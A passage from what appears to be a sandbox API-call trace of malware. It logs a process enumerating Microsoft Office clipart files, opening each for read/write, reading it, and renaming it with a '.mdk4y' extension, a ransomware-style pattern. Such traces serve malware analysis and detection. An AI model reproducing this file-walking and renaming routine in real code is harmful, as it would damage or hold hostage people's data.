lpNumberOfBytesRead=0x37df4c*=0x6260, lpOverlapped=0x0) returned 1 [0173.776] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824900600000) returned 1 [0173.776] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824900600000) returned 1 [0173.776] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf.mdk4y")) returned 1 [0173.777] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.777] AreFileApisANSI () returned 1 [0173.777] GetACP () returned 0x4e4 [0173.777] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00610_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00610_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.777] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.778] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824900800000) returned 1 [0173.778] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9c80, lpOverlapped=0x0) returned 1 [0173.779] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824900900000) returned 1 [0173.779] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824900900000) returned 1 [0173.780] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf.mdk4y")) returned 1 [0173.780] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.781] AreFileApisANSI () returned 1 [0173.781] GetACP () returned 0x4e4 [0173.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00629_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00629_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.781] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.781] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824901100000) returned 1 [0173.782] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xfe6, lpOverlapped=0x0) returned 1 [0173.783] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824901300000) returned 1 [0173.783] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824901300000) returned 1 [0173.783] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf.mdk4y")) returned 1 [0173.784] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.784] AreFileApisANSI () returned 1 [0173.784] GetACP () returned 0x4e4 [0173.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00633_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00633_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.784] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.784] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824901400000) returned 1 [0173.784] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5006, lpOverlapped=0x0) returned 1 [0173.792] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824902200000) returned 1 [0173.792] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824902200000) returned 1 [0173.793] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf.mdk4y")) returned 1 [0173.794] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.794] AreFileApisANSI () returned 1 [0173.794] GetACP () returned 0x4e4 [0173.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00638_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00638_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.794] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.795] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824902500000) returned 1 [0173.795] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1aba, lpOverlapped=0x0) returned 1 [0173.796] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824902600000) returned 1 [0173.796] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824902600000) returned 1 [0173.796] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf.mdk4y")) returned 1 [0173.797] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.797] AreFileApisANSI () returned 1 [0173.797] GetACP () returned 0x4e4 [0173.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00656_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00656_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.797] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.798] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824902800000) returned 1 [0173.798] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x584, lpOverlapped=0x0) returned 1 [0173.799] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824902900000) returned 1 [0173.799] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824902900000) returned 1 [0173.799] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf.mdk4y")) returned 1 [0173.800] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.800] AreFileApisANSI () returned 1 [0173.800] GetACP () returned 0x4e4 [0173.800] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00668_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00668_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.800] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.800] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824903000000) returned 1 [0173.800] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1652, lpOverlapped=0x0) returned 1 [0173.802] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824903200000) returned 1 [0173.802] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824903200000) returned 1 [0173.828] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf.mdk4y")) returned 1 [0173.829] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.829] AreFileApisANSI () returned 1 [0173.829] GetACP () returned 0x4e4 [0173.829] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00670_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00670_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.829] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.829] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824905900000) returned 1 [0173.829] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x16c0, lpOverlapped=0x0) returned 1 [0173.837] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824906700000) returned 1 [0173.837] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824906700000) returned 1 [0173.837] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf.mdk4y")) returned 1 [0173.838] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.838] AreFileApisANSI () returned 1 [0173.838] GetACP () returned 0x4e4 [0173.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00671_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00671_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.838] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.839] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824906900000) returned 1 [0173.839] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5d0, lpOverlapped=0x0) returned 1 [0173.840] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824907000000) returned 1 [0173.840] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824907000000) returned 1 [0173.840] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf.mdk4y")) returned 1 [0173.841] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.841] AreFileApisANSI () returned 1 [0173.841] GetACP () returned 0x4e4 [0173.841] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00683_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00683_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.841] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.842] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824907200000) returned 1 [0173.842] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x62b6, lpOverlapped=0x0) returned 1 [0173.843] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824907300000) returned 1 [0173.844] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824907400000) returned 1 [0173.844] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf.mdk4y")) returned 1 [0173.845] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.845] AreFileApisANSI () returned 1 [0173.845] GetACP () returned 0x4e4 [0173.845] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00694_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00694_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.845] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.847] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824907700000) returned 1 [0173.847] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6302, lpOverlapped=0x0) returned 1 [0173.857] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824908700000) returned 1 [0173.858] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824908800000) returned 1 [0173.858] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf.mdk4y")) returned 1 [0173.859] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.859] AreFileApisANSI () returned 1 [0173.859] GetACP () returned 0x4e4 [0173.859] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00704_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00704_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.859] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.860] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824909000000) returned 1 [0173.860] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3636, lpOverlapped=0x0) returned 1 [0173.861] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824909100000) returned 1 [0173.861] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824909100000) returned 1 [0173.862] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf.mdk4y")) returned 1 [0173.862] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.862] AreFileApisANSI () returned 1 [0173.862] GetACP () returned 0x4e4 [0173.862] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00726_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00726_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.862] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.863] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824909300000) returned 1 [0173.863] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x16478, lpOverlapped=0x0) returned 1 [0173.864] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824909400000) returned 1 [0173.864] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824909400000) returned 1 [0173.865] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf.mdk4y")) returned 1 [0173.866] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.866] AreFileApisANSI () returned 1 [0173.866] GetACP () returned 0x4e4 [0173.866] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00728_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00728_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.866] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.867] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824909700000) returned 1 [0173.867] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1758, lpOverlapped=0x0) returned 1 [0173.868] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824909800000) returned 1 [0173.868] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824909800000) returned 1 [0173.868] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf.mdk4y")) returned 1 [0173.869] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.869] AreFileApisANSI () returned 1 [0173.869] GetACP () returned 0x4e4 [0173.869] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00732_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00732_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.869] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.870] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824910000000) returned 1 [0173.870] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x13fc, lpOverlapped=0x0) returned 1 [0173.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824911100000) returned 1 [0173.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824911100000) returned 1 [0173.882] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft 